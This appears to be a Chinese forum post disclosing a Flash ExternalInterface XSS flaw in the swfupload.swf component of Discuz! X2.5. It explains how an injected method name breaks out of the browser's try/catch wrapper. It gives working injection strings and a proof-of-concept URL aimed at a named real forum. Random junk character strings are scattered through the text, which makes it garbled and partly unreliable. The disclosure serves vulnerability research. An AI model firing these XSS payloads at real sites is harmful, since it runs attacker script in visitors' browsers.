上回我们说/ L3 a7 M" i) |- L7 V
% o" b) x) } E) x& g! Aflash.external.ExternalInterface.call($methodName, $parameter)( R9 x4 U1 n- n5 Y
在浏览器中执行的是; e& |3 u0 `+ Z+ Q
. k; E4 s: }7 O, E/ G, O% z& }try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
" y: w. [) F5 O* \对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如 X7 Z3 h$ w! m s2 Z' Z
% R* ^6 K* \6 z2 C$ R
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
* H2 }5 J6 b% i$methodName = a())}catch(e){alert(/xss/)}//
9 R; h8 r4 P/ y8 `结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- q( [( M0 | I) A
, Q, w* R3 T7 w& s' [; ztry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
1 ]1 z% g4 N* t/ a6 u" A, P
) S7 o& j u/ U9 J1 l这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
5 t+ y$ T' C: H( U- r& ]3 P杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
% d7 g+ ?/ t! ], z( F" E8 B
2 e8 W) D: d3 O. N5 }/ M( e) Z' N2 z4 ?
( z, r/ {+ x2 D0 G
漏洞文件:upload\static\image\common\swfupload.swf
. ]# S& | N7 P) z4 E. B
7 [$ X" R+ ]% _' T% U- \原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf, ^% b" m- S8 }9 E
& v, J, O" t( R6 t5 q0 Z: W
+ T$ E, t* R! O# k漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//- H$ x2 c& r& r9 g, F" L8 T
S, k" Y, P# N
& \# w- |/ G: r t& x
|